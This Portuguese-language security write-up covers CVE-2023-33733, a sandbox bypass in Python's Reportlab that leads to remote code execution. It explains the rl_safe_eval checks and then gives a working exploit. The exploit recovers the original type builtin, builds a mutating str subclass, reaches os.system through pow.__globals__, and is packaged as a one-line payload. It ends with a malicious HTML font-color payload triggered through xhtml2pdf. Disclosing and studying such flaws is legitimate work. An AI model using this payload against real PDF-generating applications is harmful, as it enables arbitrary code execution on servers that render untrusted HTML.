
Documentação técnica detalhada e exploit de prova de conceito para CVE-2023-33733, uma vulnerabilidade de execução remota de código na biblioteca Reportlab do Python por meio de bypass de sandbox no processamento de HTML para PDF.
tl;dr Este artigo detalha como uma RCE no Reportlab foi encontrada e explorada. Devido à prevalência do Reportlab no processamento de HTML para PDF, essa vulnerabilidade pode ser alcançável em muitas aplicações que processam arquivos PDF, tornando esta uma importante correção a ser aplicada e observada.
Há alguns dias, durante uma auditoria de aplicação web, notamos que a aplicação estava usando a biblioteca Python Reportlab para realizar a geração dinâmica de arquivos PDF a partir de entrada HTML. O Reportlab foi encontrado com uma vulnerabilidade previamente corrigida que levava à execução de código. O que significa que encontrar uma forma de contornar a correção era bastante interessante do ponto de vista do atacante, pois levaria à redescoberta da execução de código, especialmente porque a biblioteca Reportlab também é usada em outras aplicações e ferramentas.
Primeiramente, um rápido resumo: Reportlab é um projeto de código aberto que permite a criação de documentos no formato PDF (Portable Document Format) da Adobe usando a linguagem de programação Python. Ele também cria gráficos e dados gráficos em vários formatos bitmap e vetoriais, além de PDF.
A biblioteca teve em 2019 um exploit semelhante que levava à execução remota de código através do atributo Color das tags HTML, onde o conteúdo do atributo era diretamente avaliado como uma expressão Python usando a função eval, resultando em execução de código. Para mitigar o problema, o Reportlab implementou uma sandbox chamada que é despojada de todas as funções builtin do Python e possui várias funções builtin substituídas para permitir a execução do código seguro da biblioteca, enquanto impede qualquer acesso a funções e bibliotecas perigosas que possam subsequentemente levar à construção de código Python perigoso:
rl_safe_evalUm exemplo dessas medidas de prevenção é que a função builtin getattr é substituída por uma função restrita __rl_getitem__ que proíbe o acesso a quaisquer atributos perigosos de objetos, como aqueles que começam com __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
O eval seguro, conforme descrito anteriormente, sanitiza o ambiente de todas as funções perigosas de modo que o código em execução não tenha acesso a ferramentas perigosas que possam ser usadas para executar ações maliciosas. No entanto, se for encontrada uma forma de contornar essas restrições e for obtido acesso a uma das funções builtin originais, isso facilitaria muito a exploração do ambiente em sandbox.
Uma das muitas classes builtin substituídas chama-se type. Se esta classe for chamada com um argumento, ela retorna o tipo de um objeto. No entanto, se for chamada com três argumentos, ela retorna um novo objeto tipo. Isso é essencialmente uma forma dinâmica da instrução class. Em outras palavras, pode permitir a criação de uma nova classe que herda de outra classe.
Então a ideia aqui é criar uma nova classe chamada Word que herda de str, de modo que, quando passada para o getattr personalizado, ela contorne as verificações e permita o acesso a atributos sensíveis como __code__.
Antes de o getattr personalizado no eval em sandbox retornar o atributo, ele realiza algumas verificações chamando __rl_is_allowed_name__ para verificar a segurança do atributo chamado antes de chamar o builtin getattr do Python e retornar o resultado.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Para contornar a função __rl_is_allowed_name__, a classe Word deve:
False para chamadas à função startswith para contornar (name.startswith('__')False em sua primeira chamada a __eq__ para contornar name in __rl_unsafe__, após a primeira chamada deve retornar a resposta correta, pois quando __eq__ é chamado pelo builtin getattr do Python, deve retornar o resultado correto.A seguinte classe atende a esses critérios:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
A função type personalizada no eval seguro não permite ser passada com três argumentos:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Uma forma de contornar isso foi encontrada chamando type sobre si mesmo, permitindo a recuperação da função builtin original type:
orgTypeFun = type(type(1))
combinando essas duas linhas de código, teríamos algo como:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
O exploit original sofria de várias limitações que o tornavam explorável apenas no Python 3.10. Para resolver esses problemas, uma nova abordagem foi feita para acessar o módulo os do Python.
A biblioteca Reportlab substitui a implementação de várias funções builtin e as injeta como globals no contexto do eval.
Exemplo de builtin padrão substituído por funções personalizadas em rl_safe_eval.py:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
Como essas funções são construídas no contexto global, as variáveis e módulos globais podem ser acessados usando o atributo __globals__ dessas funções personalizadas.
O código a seguir deve ser executado dentro do contexto eval
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
Agora só falta escrever o exploit:
Para isso, uma função será reconstruída a partir do bytecode de uma função compilada:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
No entanto, uma expressão de várias linhas como essa não será executada em um contexto eval. Para contornar esse problema, pode-se usar o truque de list comprehension, algo como:
[print(x) for x in ['hellworld']]
# which would be equivalent to
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# which would be equivalent to
x='first var'
x='second var'
print (x + ' ' + y)
Com essa técnica, o código do exploit pode ser reescrito em uma única linha de código assim (isso é considerado uma linha x) a multi-linha aqui é apenas formatação para aumentar a legibilidade do exploit. As declarações devem ser lidas de baixo para cima x) estranho, mas é assim que funciona):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
Consulte o poc.py, pois contém a prova de conceito que demonstra a execução de código (após exploração bem-sucedida, um arquivo chamado exploited é criado em /tmp/).
Muitos aplicativos e bibliotecas usam a biblioteca Reportlab. Por exemplo, a função utilitária xhtml2pdf é vulnerável e pode sofrer execução de código ao transformar HTML malicioso em PDF.
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Quero agradecer a Matthias Weckbecker por sua colaboração e excelente troca de ideias discutindo as limitações do exploit original. Agora o exploit funciona perfeitamente em todas as versões do Python 3 :D